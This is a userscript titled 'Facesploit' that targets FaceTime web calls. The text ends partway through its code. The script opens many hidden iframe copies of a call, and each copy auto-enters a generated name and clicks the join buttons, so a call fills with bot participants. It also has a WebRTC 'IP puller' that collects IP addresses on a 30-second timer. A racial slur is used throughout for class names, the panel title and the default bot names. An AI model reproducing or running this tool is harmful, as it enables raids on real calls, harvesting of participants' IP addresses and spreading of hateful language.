FaceTime automation spawner with dark theme
// ==UserScript==
// @name Facesploit
// @namespace http://tampermonkey.net/
// @version 6.0
// @description FaceTime automation spawner with dark theme
// @match https://facetime.apple.com/*
// @grant none
// @run-at document-start
// ==/UserScript==
(function() {
'use strict';
// Only run UI on main page, not in iframes
if(window !== window.top) {
return;
}
// Wait for DOM to be ready
function initScript() {
// Ensure body exists before proceeding
if (!document.body) {
setTimeout(initScript, 100);
return;
}
// Create container for iframes
const container = document.createElement('div');
container.id = 'ft-test-container';
container.innerHTML = `
<style>
body {
background: #0d0d0d !important;
font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
}
.nigga-container {
background: #1a1a1a;
border: 1px solid #2a2a2a;
border-radius: 0;
box-shadow: none;
}
.nigga-header {
background: linear-gradient(180deg, #1a1a1a 0%, #0d0d0d 100%);
color: #ffffff;
padding: 8px 12px;
font-weight: 600;
font-size: 13px;
font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
display: flex;
justify-content: space-between;
align-items: center;
border-radius: 0;
text-shadow: none;
border-bottom: 1px solid #2a2a2a;
}
.nigga-button {
background: linear-gradient(180deg, #2a2a2a 0%, #1a1a1a 100%);
border: 1px solid #3a3a3a;
color: #ffffff;
padding: 6px 12px;
font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
font-size: 11px;
cursor: pointer;
border-radius: 0;
transition: all 0.3s ease;
position: relative;
}
.nigga-button:hover {
background: linear-gradient(180deg, #3a3a3a 0%, #2a2a2a 100%);
border-color: #4a4a4a;
transform: none;
box-shadow: none;
}
.nigga-button:active {
transform: none;
box-shadow: none;
background: #1a1a1a;
border-color: #3a3a3a;
}
.nigga-button.danger {
background: linear-gradient(180deg, #4a1a1a 0%, #3a0a0a 100%);
border-color: #5a2a2a;
color: white;
}
.nigga-button.danger:hover {
background: linear-gradient(180deg, #5a2a2a 0%, #4a1a1a 100%);
}
.nigga-input {
background: #2a2a2a;
border: 1px solid #3a3a3a;
color: #ffffff;
padding: 4px 8px;
font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
font-size: 11px;
border-radius: 0;
transition: all 0.3s ease;
}
.nigga-input:focus {
outline: 1px solid #4a90e2;
outline-offset: 0;
box-shadow: none;
border-color: #4a90e2;
}
.nigga-group {
border: 1px solid #2a2a2a;
padding: 8px;
margin: 6px 0;
background: #1a1a1a;
border-radius: 0;
}
.nigga-label {
font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
font-size: 11px;
color: #ffffff;
margin-bottom: 3px;
display: block;
font-weight: 500;
transition: none;
padding: 2px 4px;
border-radius: 2px;
position: relative;
}
input[type="checkbox"] {
appearance: none;
width: 12px;
height: 12px;
border: 1px solid #4a90e2;
background: #2a2a2a;
border-radius: 2px;
cursor: pointer;
position: relative;
transition: all 0.3s ease;
margin-right: 6px;
}
input[type="checkbox"]:checked {
background: #4a90e2;
border-color: #4a90e2;
}
input[type="checkbox"]:checked::after {
content: '✓';
position: absolute;
top: -2px;
left: 1px;
color: white;
font-size: 10px;
font-weight: bold;
}
input[type="checkbox"]:hover {
background: rgba(74, 144, 226, 0.2);
box-shadow: 0 0 8px rgba(74, 144, 226, 0.4);
}
.nigga-slider {
width: 100%;
height: 4px;
border-radius: 0;
background: #2a2a2a;
outline: none;
-webkit-appearance: none;
}
.nigga-slider::-webkit-slider-thumb {
-webkit-appearance: none;
appearance: none;
width: 12px;
height: 12px;
border-radius: 0;
background: #4a90e2;
cursor: pointer;
transition: all 0.3s ease;
border: 1px solid #3a70c2;
}
.nigga-slider:disabled {
opacity: 0.3;
pointer-events: none;
}
.nigga-slider:disabled::-webkit-slider-thumb {
background: #666;
cursor: not-allowed;
}
.nigga-slider::-webkit-slider-thumb:hover {
background: #5aa0f2;
box-shadow: 0 0 8px rgba(74, 144, 226, 0.4);
}
.nigga-stats {
background: #0d0d0d;
border: 1px solid #2a2a2a;
padding: 8px;
border-radius: 0;
font-family: 'Segoe UI', Tahoma, Arial, sans-serif;
font-size: 11px;
color: #ffffff;
display: grid;
grid-template-columns: 1fr 1fr;
gap: 6px;
}
.nigga-stat-item {
display: flex;
justify-content: space-between;
align-items: center;
}
.nigga-stat-value {
font-weight: 600;
color: #4a90e2;
}
/* Purple highlight bar */
.highlight-bar {
position: fixed;
background: rgba(128, 0, 128, 0.4);
box-shadow: 0 0 12px rgba(128, 0, 128, 0.6);
border-radius: 2px;
pointer-events: none;
z-index: 99998;
transition: all 0.2s ease;
display: none;
}
</style>
<div id="ft-control-panel" class="nigga-container" style="position:fixed; top:0; left:0; right:0; bottom:0; z-index:99999; display:flex;">
<!-- Control Panel Sidebar -->
<div style="width: 320px; background: #1a1a1a; border-right: 1px solid #333; display:flex; flex-direction:column;">
<div class="nigga-header">
<span>nigga spawner</span>
<button id="togglePanel" style="background:transparent; border:none; color:white; cursor:pointer; font-size:12px; padding:0; width:20px; height:20px; display:flex; align-items:center; justify-content:center; border-radius:0; transition:none;" onmouseover="this.style.background='rgba(255,255,255,0.1)'" onmouseout="this.style.background='transparent'">◀</button>
</div>
<div id="panel-content" style="padding: 16px; background: #1a1a1a; flex:1; overflow-y:auto;">
<div class="nigga-group">
<label class="nigga-label">Name Pattern</label>
<select id="namePattern" class="nigga-input" style="width:100%; margin-bottom:6px; background:#2a2a2a; color:#ffffff; border:1px solid #3a3a3a;">
<option value="random">Random (nigga_1234)</option>
<option value="custom">Custom Names</option>
<option value="numbered">Numbered (Agent 1, 2...)</option>
</select>
<input id="customNameBase" type="text" placeholder="e.g., Shinobi" class="nigga-input" style="width:100%; margin-bottom:4px;" />
<label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
<input type="checkbox" id="autoNumberCustom" style="margin-right:6px;" /> Auto-number custom names
</label>
<select id="numberingMode" class="nigga-input" style="width:100%; margin-bottom:4px; display:none;">
<option value="random">Random (1234, 5678)</option>
<option value="counting">Counting (1, 2, 3...)</option>
</select>
</div>
<div class="nigga-group">
<label class="nigga-label">Timing (ms)</label>
<label class="nigga-label" style="margin-bottom:3px; margin-top:6px;">Spawn delay:</label>
<input type="range" id="spawnDelay" min="100" max="5000" value="500" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
<span id="spawnDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">500ms</span>
<label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Auto-join delay:</label>
<input type="range" id="autoJoinDelay" min="500" max="10000" value="2000" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
<span id="autoJoinDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">2000ms</span>
<label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Name input delay:</label>
<input type="range" id="nameInputDelay" min="200" max="2000" value="800" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
<span id="nameInputDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">800ms</span>
<label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Continue button delay:</label>
<input type="range" id="continueButtonDelay" min="500" max="3000" value="1500" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
<span id="continueButtonDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">1500ms</span>
<label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Retry delay:</label>
<input type="range" id="retryDelay" min="1000" max="5000" value="2000" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
<span id="retryDelayVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">2000ms</span>
<label class="nigga-label" style="margin-bottom:3px; margin-top:10px;">Max retries:</label>
<input type="range" id="maxRetries" min="1" max="10" value="3" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
<span id="maxRetriesVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">3</span>
</div>
<div class="nigga-group">
<label class="nigga-label">Display Options</label>
<label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
<input type="checkbox" id="showIframes" checked style="margin-right:6px;" /> Show windows
</label>
<label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
<input type="checkbox" id="autoScroll" checked style="margin-right:6px;" /> Auto-scroll
</label>
<label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
<input type="checkbox" id="collapseIframes" style="margin-right:6px;" /> Collapse all
</label>
<label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
<input type="checkbox" id="temporaryMode" style="margin-right:6px;" /> Temporary mode
</label>
<label class="nigga-label" style="margin-bottom:3px; margin-top:6px;">Lifetime (seconds):</label>
<input type="range" id="temporaryLifetime" min="5" max="120" value="30" class="nigga-slider" style="width:100%; margin-bottom:3px;" />
<span id="temporaryLifetimeVal" class="nigga-label" style="color: #4a90e2; font-weight: 600;">30s</span>
</div>
<div class="nigga-group">
<label class="nigga-label">Navigation</label>
<div style="display:grid; grid-template-columns:1fr 1fr; gap:4px; margin-bottom:6px;">
<button id="prevInstance" class="nigga-button" style="font-size:10px; padding:4px;">Previous</button>
<button id="nextInstance" class="nigga-button" style="font-size:10px; padding:4px;">Next</button>
</div>
<div style="display:grid; grid-template-columns:1fr 1fr; gap:4px;">
<button id="firstInstance" class="nigga-button" style="font-size:10px; padding:4px;">First</button>
<button id="lastInstance" class="nigga-button" style="font-size:10px; padding:4px;">Last</button>
</div>
</div>
<div class="nigga-group">
<label class="nigga-label">Actions</label>
<input id="spawnCount" type="number" placeholder="Count" value="10" min="1" class="nigga-input" style="width:100%; margin-bottom:6px;" />
<button id="spawnBtn" class="nigga-button" style="display:block; width:100%; margin-bottom:4px;">Spawn Instances</button>
<button id="wipeAllBtn" class="nigga-button danger" style="display:block; width:100%; margin-bottom:4px;">Clear Instances</button>
<button id="clearCacheBtn" class="nigga-button danger" style="display:block; width:100%; margin-bottom:4px;">Clear Cache</button>
</div>
<div class="nigga-stats">
<div class="nigga-stat-item">
<span>Joined:</span>
<span id="joinedCount" class="nigga-stat-value">0</span>
</div>
<div class="nigga-stat-item">
<span>Total:</span>
<span id="totalCount" class="nigga-stat-value">0</span>
</div>
<div class="nigga-stat-item">
<span>IPs Found:</span>
<span id="ipCount" class="nigga-stat-value">0</span>
</div>
</div>
<div class="nigga-group">
<label class="nigga-label">IP Addresses</label>
<label class="nigga-label" style="display:flex; align-items:center; margin-bottom:4px; cursor:pointer;">
<input type="checkbox" id="autoPullIPs" checked style="margin-right:6px;" /> Auto-pull IPs
</label>
<div id="ipList" style="max-height: 120px; overflow-y: auto; background: #0d0d0d; border: 1px solid #2a2a2a; padding: 8px; font-family: 'Segoe UI', Tahoma, Arial, sans-serif; font-size: 10px; color: #4a90e2; line-height: 1.4;">
<div style="color: #666; font-style: italic;">No IPs detected yet...</div>
</div>
</div>
</div>
</div>
<!-- Main Content Area -->
<div style="flex:1; display:flex; flex-direction:column;">
<!-- Original Webpage -->
<div id="original-page" style="flex:1; background: white; position:relative;">
<iframe id="main-webpage" src="about:blank" style="width:100%; height:100%; border:none; background:white;"></iframe>
</div>
<!-- Instance Container (Collapsible) -->
<div id="instance-container" style="height: 300px; background: #0d0d0d; border-top: 1px solid #333; display:flex; flex-direction:column;">
<div class="nigga-header" style="padding: 6px 12px; font-size: 12px;">
<span>Instances</span>
<button id="toggleInstances" style="background:transparent; border:none; color:white; cursor:pointer; font-size:10px; padding:0; width:16px; height:16px; display:flex; align-items:center; justify-content:center; border-radius:0; transition:none;" onmouseover="this.style.background='rgba(255,255,255,0.1)'" onmouseout="this.style.background='transparent'">▼</button>
</div>
<div id="ft-iframe-container" style="flex:1; padding: 8px; overflow-y:auto; display:grid; grid-template-columns:repeat(auto-fill, minmax(200px, 1fr)); gap:6px; align-content:start;">
</div>
</div>
</div>
</div>
<!-- Purple highlight bar -->
<div class="highlight-bar" id="highlightBar"></div>
`;
document.body.appendChild(container);
// Load original webpage
const mainWebpage = document.getElementById('main-webpage');
if (mainWebpage) {
mainWebpage.src = window.location.href;
}
// Create highlight bar
const highlightBar = document.createElement('div');
highlightBar.className = 'highlight-bar';
highlightBar.id = 'highlightBar';
document.body.appendChild(highlightBar);
// Highlight bar functionality
let highlightTimeout;
const hoverableElements = [];
function updateHighlightBar(element) {
if (!element) return;
const highlightBar = document.getElementById('highlightBar');
if (!highlightBar) {
console.log('Highlight bar not found in updateHighlightBar');
return;
}
const rect = element.getBoundingClientRect();
console.log('Updating highlight bar for:', element, 'Rect:', rect);
highlightBar.style.display = 'block';
highlightBar.style.left = rect.left - 2 + 'px';
highlightBar.style.top = rect.top - 2 + 'px';
highlightBar.style.width = rect.width + 4 + 'px';
highlightBar.style.height = rect.height + 4 + 'px';
}
function hideHighlightBar() {
const highlightBar = document.getElementById('highlightBar');
if (highlightBar) {
highlightBar.style.display = 'none';
}
}
// Add hover listeners to all interactive elements
function addHighlightListeners() {
console.log('Adding highlight listeners...');
const selectors = [
'.nigga-label',
'.nigga-button',
'.nigga-input',
'input[type="checkbox"]',
'.nigga-slider',
'.nigga-stat-item'
];
let totalElements = 0;
selectors.forEach(selector => {
const elements = document.querySelectorAll(selector);
console.log(`Found ${elements.length} elements for selector: ${selector}`);
totalElements += elements.length;
elements.forEach((element, index) => {
element.addEventListener('mouseenter', (e) => {
console.log('Mouse enter on:', e.target);
clearTimeout(highlightTimeout);
updateHighlightBar(e.target);
});
element.addEventListener('mouseleave', () => {
console.log('Mouse leave');
highlightTimeout = setTimeout(hideHighlightBar, 100);
});
});
});
console.log(`Total elements with listeners: ${totalElements}`);
}
// Initialize highlight listeners
setTimeout(addHighlightListeners, 100);
// Re-add listeners when new elements are added
const observer = new MutationObserver(() => {
addHighlightListeners();
});
observer.observe(document.body, {
childList: true,
subtree: true
});
// Settings with localStorage persistence
const defaultSettings = {
namePattern: 'random',
customNameBase: 'nigga',
autoNumberCustom: false,
numberingMode: 'random',
spawnDelay: 500,
autoJoinDelay: 2000,
nameInputDelay: 800,
continueButtonDelay: 1500,
retryDelay: 2000,
maxRetries: 3,
showIframes: true,
autoScroll: true,
collapseIframes: false,
temporaryMode: false,
temporaryLifetime: 30000,
autoPullIPs: true
};
// Load settings from localStorage or use defaults
let settings = { ...defaultSettings };
try {
const savedSettings = localStorage.getItem('niggaspawnerSettings');
if (savedSettings) {
settings = { ...settings, ...JSON.parse(savedSettings) };
}
} catch (e) {
console.error('Failed to load settings from localStorage:', e);
}
// Save settings to localStorage
function saveSettings() {
try {
localStorage.setItem('niggaspawnerSettings', JSON.stringify(settings));
} catch (e) {
console.error('Failed to save settings to localStorage:', e);
}
}
let joinedCount = 0;
let totalCount = 0;
let panelCollapsed = false;
let pulledIPs = new Set();
// Update displays with localStorage save
function updateSlider(sliderId, displayId, isSeconds = false, isNumber = false) {
const slider = document.getElementById(sliderId);
const display = document.getElementById(displayId);
// Set initial value from settings
slider.value = settings[sliderId];
slider.oninput = function() {
const value = this.value;
let displayValue;
let settingValue;
if (isNumber) {
displayValue = value;
settingValue = parseInt(value);
} else if (isSeconds) {
displayValue = value + 's';
settingValue = parseInt(value) * 1000;
} else {
displayValue = value + 'ms';
settingValue = parseInt(value);
}
display.textContent = displayValue;
settings[sliderId] = settingValue;
saveSettings();
};
// Initialize display
slider.oninput();
}
updateSlider('spawnDelay', 'spawnDelayVal');
updateSlider('autoJoinDelay', 'autoJoinDelayVal');
updateSlider('nameInputDelay', 'nameInputDelayVal');
updateSlider('continueButtonDelay', 'continueButtonDelayVal');
updateSlider('retryDelay', 'retryDelayVal');
updateSlider('maxRetries', 'maxRetriesVal', false, true);
updateSlider('temporaryLifetime', 'temporaryLifetimeVal', true);
// Initialize UI state
document.getElementById('namePattern').value = settings.namePattern;
document.getElementById('customNameBase').value = settings.customNameBase;
document.getElementById('autoNumberCustom').checked = settings.autoNumberCustom;
document.getElementById('numberingMode').value = settings.numberingMode;
document.getElementById('showIframes').checked = settings.showIframes;
document.getElementById('autoScroll').checked = settings.autoScroll;
document.getElementById('collapseIframes').checked = settings.collapseIframes;
document.getElementById('temporaryMode').checked = settings.temporaryMode;
document.getElementById('autoPullIPs').checked = settings.autoPullIPs;
// Set initial visibility states
const isCustom = settings.namePattern === 'custom';
document.getElementById('customNameBase').style.display = isCustom ? 'block' : 'none';
document.getElementById('autoNumberCustom').parentElement.style.display = isCustom ? 'flex' : 'none';
updateCustomNumberVisibility();
updateLifetimeSliderState();
// Initialize auto IP pulling if enabled
if (settings.autoPullIPs) {
setTimeout(startAutoIPPulling, 2000); // Start after 2 seconds
}
// Initialize highlight bar after a short delay
setTimeout(() => {
const highlightBar = document.getElementById('highlightBar');
if (highlightBar) {
console.log('Highlight bar found:', highlightBar);
addHighlightListeners();
} else {
console.log('Highlight bar not found, creating new one');
const newBar = document.createElement('div');
newBar.className = 'highlight-bar';
newBar.id = 'highlightBar';
newBar.style.cssText = `
position: fixed;
background: rgba(128, 0, 128, 0.4);
box-shadow: 0 0 12px rgba(128, 0, 128, 0.6);
border-radius: 2px;
pointer-events: none;
z-index: 99998;
transition: all 0.2s ease;
display: none;
`;
document.body.appendChild(newBar);
addHighlightListeners();
}
}, 500);
document.getElementById('namePattern').onchange = function() {
settings.namePattern = this.value;
const isCustom = this.value === 'custom';
document.getElementById('customNameBase').style.display = isCustom ? 'block' : 'none';
document.getElementById('autoNumberCustom').parentElement.style.display = isCustom ? 'flex' : 'none';
updateCustomNumberVisibility();
saveSettings();
};
document.getElementById('customNameBase').oninput = function() {
settings.customNameBase = this.value;
saveSettings();
};
function updateCustomNumberVisibility() {
const numberingModeSelect = document.getElementById('numberingMode');
if (settings.autoNumberCustom && settings.namePattern === 'custom') {
numberingModeSelect.style.display = 'block';
} else {
numberingModeSelect.style.display = 'none';
}
}
function updateLifetimeSliderState() {
const slider = document.getElementById('temporaryLifetime');
const display = document.getElementById('temporaryLifetimeVal');
const label = slider.previousElementSibling;
if (settings.temporaryMode) {
slider.disabled = false;
slider.style.opacity = '1';
slider.style.pointerEvents = 'auto';
display.style.opacity = '1';
display.style.pointerEvents = 'auto';
label.style.opacity = '1';
label.style.pointerEvents = 'auto';
// Show the entire lifetime section
label.parentElement.style.display = 'block';
} else {
slider.disabled = true;
slider.style.opacity = '0.3';
slider.style.pointerEvents = 'none';
display.style.opacity = '0.3';
display.style.pointerEvents = 'none';
label.style.opacity = '0.3';
label.style.pointerEvents = 'none';
// Hide the entire lifetime section
label.parentElement.style.display = 'none';
}
}
updateLifetimeSliderState();
document.getElementById('autoNumberCustom').onchange = function() {
settings.autoNumberCustom = this.checked;
updateCustomNumberVisibility();
saveSettings();
};
document.getElementById('numberingMode').onchange = function() {
settings.numberingMode = this.value;
saveSettings();
};
document.getElementById('temporaryMode').onchange = function() {
settings.temporaryMode = this.checked;
updateLifetimeSliderState();
saveSettings();
};
document.getElementById('showIframes').onchange = function() {
settings.showIframes = this.checked;
const instanceContainer = document.getElementById('instance-container');
if(this.checked) {
instanceContainer.style.display = 'flex';
} else {
instanceContainer.style.display = 'none';
}
saveSettings();
};
document.getElementById('autoScroll').onchange = function() {
settings.autoScroll = this.checked;
saveSettings();
};
document.getElementById('collapseIframes').onchange = function() {
settings.collapseIframes = this.checked;
document.querySelectorAll('.ft-iframe-wrapper').forEach(wrapper => {
const iframe = wrapper.querySelector('iframe');
if(settings.collapseIframes) {
wrapper.style.height = '60px';
iframe.style.position = 'absolute';
iframe.style.visibility = 'hidden';
} else {
wrapper.style.height = '240px';
iframe.style.position = 'relative';
iframe.style.visibility = 'visible';
}
});
saveSettings();
};
document.getElementById('temporaryMode').onchange = function() {
settings.temporaryMode = this.checked;
updateLifetimeSliderState();
saveSettings();
};
document.getElementById('autoPullIPs').onchange = function() {
settings.autoPullIPs = this.checked;
if (this.checked) {
startAutoIPPulling();
} else {
stopAutoIPPulling();
}
saveSettings();
};
document.getElementById('spawnCount').oninput = function() {
// Don't save spawn count to localStorage as it's temporary
};
// Navigation functions
let currentInstanceIndex = -1;
function navigateToInstance(direction) {
const instances = document.querySelectorAll('.ft-iframe-wrapper');
if (instances.length === 0) return;
if (direction === 'first') {
currentInstanceIndex = 0;
} else if (direction === 'last') {
currentInstanceIndex = instances.length - 1;
} else if (direction === 'next') {
currentInstanceIndex = Math.min(currentInstanceIndex + 1, instances.length - 1);
} else if (direction === 'prev') {
currentInstanceIndex = Math.max(currentInstanceIndex - 1, 0);
}
instances[currentInstanceIndex].scrollIntoView({
behavior: 'smooth',
block: 'center'
});
// Highlight current instance
instances.forEach((instance, index) => {
if (index === currentInstanceIndex) {
instance.style.border = '2px solid #4a90e2';
instance.style.boxShadow = '0 0 20px rgba(74, 144, 226, 0.5)';
} else {
instance.style.border = '';
instance.style.boxShadow = '';
}
});
}
// Navigation button handlers
document.getElementById('firstInstance').onclick = () => navigateToInstance('first');
document.getElementById('lastInstance').onclick = () => navigateToInstance('last');
document.getElementById('nextInstance').onclick = () => navigateToInstance('next');
document.getElementById('prevInstance').onclick = () => navigateToInstance('prev');
// Panel toggle
document.getElementById('togglePanel').onclick = function() {
panelCollapsed = !panelCollapsed;
const panelContent = document.getElementById('panel-content');
const container = document.getElementById('ft-control-panel');
const toggleBtn = document.getElementById('togglePanel');
if(panelCollapsed) {
panelContent.style.display = 'none';
container.style.justifyContent = 'flex-start';
toggleBtn.textContent = '▶';
} else {
panelContent.style.display = 'block';
container.style.justifyContent = 'flex-start';
toggleBtn.textContent = '◀';
}
};
// Instance container toggle
let instancesCollapsed = false;
document.getElementById('toggleInstances').onclick = function() {
instancesCollapsed = !instancesCollapsed;
const instanceContainer = document.getElementById('instance-container');
const toggleBtn = document.getElementById('toggleInstances');
const originalPage = document.getElementById('original-page');
if(instancesCollapsed) {
instanceContainer.style.height = '40px';
instanceContainer.style.overflow = 'hidden';
document.getElementById('ft-iframe-container').style.display = 'none';
toggleBtn.textContent = '▶';
originalPage.style.flex = '1';
} else {
instanceContainer.style.height = '300px';
instanceContainer.style.overflow = 'visible';
document.getElementById('ft-iframe-container').style.display = 'grid';
toggleBtn.textContent = '▼';
originalPage.style.flex = '1';
}
};
// Generate name
let customNumberCounter = 0;
function generateName(index) {
switch(settings.namePattern) {
case 'random':
return `nigga_${Math.floor(Math.random() * 10000)}`;
case 'custom':
let customName = settings.customNameBase;
if (settings.autoNumberCustom) {
let numberToUse;
if (settings.numberingMode === 'random') {
numberToUse = Math.floor(Math.random() * 10000);
} else {
numberToUse = customNumberCounter + 1;
customNumberCounter++;
}
customName = customName + ' ' + numberToUse;
}
return customName;
case 'numbered':
return `Agent ${index}`;
default:
return `nigga_${index}`;
}
}
// Update counters
function updateCounters() {
document.getElementById('joinedCount').textContent = joinedCount;
document.getElementById('totalCount').textContent = totalCount;
document.getElementById('ipCount').textContent = pulledIPs.size;
}
// Create single iframe instance (optimized)
function createJoinRequest(index) {
const currentUrl = window.location.href;
const userName = generateName(index);
// Create iframe wrapper
const wrapper = document.createElement('div');
wrapper.className = 'ft-iframe-wrapper nigga-container';
const initialHeight = settings.collapseIframes ? '60px' : '240px';
wrapper.style.cssText = `height:${initialHeight}; position:relative; display:flex; flex-direction:column;`;
// Header
const header = document.createElement('div');
header.className = 'nigga-header';
header.style.fontSize = '12px';
header.style.padding = '8px 12px';
header.innerHTML = `
<span>${userName}</span>
<button class="remove-btn" style="background:transparent; border:none; color:white; cursor:pointer; font-size:12px; padding:0; width:16px; height:16px; display:flex; align-items:center; justify-content:center; border-radius:0; transition:none;" onmouseover="this.style.background='rgba(255,255,255,0.1)'" onmouseout="this.style.background='transparent'">✕</button>
`;
wrapper.appendChild(header);
// Status
const status = document.createElement('div');
status.style.cssText = 'padding:6px 12px; font-size:11px; background:#1a1a1a; font-family:\'Segoe UI\', Tahoma, Arial, sans-serif; color:#ffffff; border-top:1px solid #2a2a2a; border-bottom:1px solid #2a2a2a;';
status.textContent = 'Loading...';
wrapper.appendChild(status);
// Iframe container
const iframeContainer = document.createElement('div');
iframeContainer.style.cssText = 'flex:1; position:relative; overflow:hidden;';
// Iframe
const iframe = document.createElement('iframe');
iframe.src = currentUrl;
iframe.style.cssText = `width:100%; height:100%; border:none; background:white; ${settings.collapseIframes ? 'position:absolute; visibility:hidden;' : ''}`;
iframe.loading = 'lazy';
iframeContainer.appendChild(iframe);
wrapper.appendChild(iframeContainer);
// Remove button
wrapper.querySelector('.remove-btn').onclick = function() {
wrapper.remove();
if (status.textContent === 'Joined') {
joinedCount--;
}
totalCount--;
updateCounters();
};
// Add to container
document.getElementById('ft-iframe-container').appendChild(wrapper);
totalCount++;
updateCounters();
// Auto-scroll to latest
if(settings.autoScroll && !settings.collapseIframes) {
setTimeout(() => {
wrapper.scrollIntoView({ behavior: 'smooth', block: 'end' });
}, 100);
}
// Simple auto-join logic
function attemptJoin() {
try {
const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
// Helper to set input value
function setInputValue(input, value) {
const nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, "value").set;
nativeInputValueSetter.call(input, value);
input.dispatchEvent(new Event('input', { bubbles: true }));
input.dispatchEvent(new Event('change', { bubbles: true }));
}
const nameInput = iframeDoc.querySelector('#name-entry');
if(nameInput) {
status.textContent = 'Entering name...';
nameInput.focus();
setInputValue(nameInput, userName);
setTimeout(() => {
const continueBtn = iframeDoc.querySelector('.continue-button');
if(continueBtn && continueBtn.getAttribute('aria-disabled') === 'false') {
status.textContent = 'Joining...';
status.style.background = '#2d3748';
continueBtn.click();
setTimeout(() => {
const joinBtn = iframeDoc.querySelector('#callcontrols-join-button-session-banner');
if(joinBtn) {
status.textContent = 'Joined';
status.style.background = '#1e3a1e';
joinedCount++;
updateCounters();
joinBtn.click();
} else {
status.textContent = 'Join button not found';
status.style.background = '#4a1e1e';
}
}, settings.continueButtonDelay);
} else {
status.textContent = 'Continue button not available';
status.style.background = '#4a1e1e';
}
}, settings.nameInputDelay);
} else {
status.textContent = 'Name input not found';
status.style.background = '#4a1e1e';
}
} catch(e) {
status.textContent = 'Error: ' + e.message.substring(0, 30);
status.style.background = '#4a1e1e';
console.error('Iframe error:', e);
}
}
iframe.onload = function() {
setTimeout(() => {
attemptJoin();
}, settings.autoJoinDelay);
};
// Temporary mode auto-delete (per instance)
if (settings.temporaryMode) {
setTimeout(() => {
if (wrapper.parentNode) {
status.textContent = 'Time expired';
status.style.background = '#4a2e1e';
setTimeout(() => {
if (wrapper.parentNode) {
wrapper.remove();
if (status.textContent === 'Joined') {
joinedCount--;
}
totalCount--;
updateCounters();
console.log(`Instance #${index} expired and removed`);
}
}, 1000);
}
}, settings.temporaryLifetime);
}
console.log(`Spawned instance #${index}: ${userName}`);
}
// Spawn button
document.getElementById('spawnBtn').onclick = function() {
const count = parseInt(document.getElementById('spawnCount').value);
if(count < 1) return;
// Reset custom number counter when spawning new batch
customNumberCounter = 0;
console.log(`Spawning ${count} instances...`);
for(let i = 0; i < count; i++) {
setTimeout(() => {
createJoinRequest(totalCount + 1);
}, i * settings.spawnDelay);
}
};
// Clear Cache button
document.getElementById('clearCacheBtn').onclick = function() {
let clearedItems = 0;
// Clear iframe cache and force reload
document.querySelectorAll('.ft-iframe-wrapper iframe').forEach(iframe => {
const src = iframe.src;
iframe.src = 'about:blank';
setTimeout(() => {
iframe.src = src;
}, 100);
clearedItems++;
});
// Clear browser cache for FaceTime domain
if (caches && caches.keys) {
caches.keys().then(cacheNames => {
cacheNames.forEach(cacheName => {
if (cacheName.includes('facetime') || cacheName.includes('apple')) {
caches.delete(cacheName).then(() => {
clearedItems++;
});
}
});
});
}
// Clear session storage (but not localStorage)
try {
sessionStorage.clear();
clearedItems++;
} catch(e) {
console.log('Session storage clear failed:', e);
}
// Force garbage collection if available
if (window.gc) {
window.gc();
clearedItems++;
}
// Clear any pending timeouts
const highestTimeoutId = setTimeout(() => {});
for (let i = 0; i < highestTimeoutId; i++) {
clearTimeout(i);
}
clearedItems++;
console.log(`Cache cleared: ${clearedItems} items optimized`);
// Visual feedback
const btn = document.getElementById('clearCacheBtn');
const originalText = btn.textContent;
btn.textContent = 'Cache Cleared!';
btn.style.background = 'linear-gradient(180deg, #1e3a1e 0%, #0f1f0f 100%)';
setTimeout(() => {
btn.textContent = originalText;
btn.style.background = '';
}, 2000);
};
// Wipe All button
document.getElementById('wipeAllBtn').onclick = function() {
document.querySelectorAll('.ft-iframe-wrapper').forEach(el => el.remove());
joinedCount = 0;
totalCount = 0;
updateCounters();
console.log('Wiped all instances and counters');
};
// Auto IP pulling variables
let autoIPInterval = null;
let lastIPPull = 0;
// Update IP display in menu
function updateIPDisplay() {
const ipListElement = document.getElementById('ipList');
if (!ipListElement) return;
if (pulledIPs.size === 0) {
ipListElement.innerHTML = '<div style="color: #666; font-style: italic;">No IPs detected yet...</div>';
} else {
const ipArray = Array.from(pulledIPs);
const ipHTML = ipArray.map(ip => `<div style="margin-bottom: 2px;">• ${ip}</div>`).join('');
ipListElement.innerHTML = ipHTML;
}
}
// Start auto IP pulling
function startAutoIPPulling() {
if (autoIPInterval) return;
console.log('Starting auto IP pulling...');
autoIPInterval = setInterval(() => {
pullIPs(false); // Silent pull without modal
}, 30000); // Pull every 30 seconds
// Pull immediately on start
pullIPs(false);
}
// Stop auto IP pulling
function stopAutoIPPulling() {
if (autoIPInterval) {
clearInterval(autoIPInterval);
autoIPInterval = null;
console.log('Stopped auto IP pulling');
}
}
// IP Puller using WebRTC hijacking
function pullIPs(showModal = true) {
const ips = new Set();
// Create a fake RTCPeerConnection to get local IP
const rtc = new RTCPeerConnection({
iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
});
// Create a fake data channel
const dataChannel = rtc.createDataChannel('', { reliable: false });
// Listen for ICE candidates
rtc.onicecandidate = (event) => {
if (event.candidate && event.candidate.candidate) {
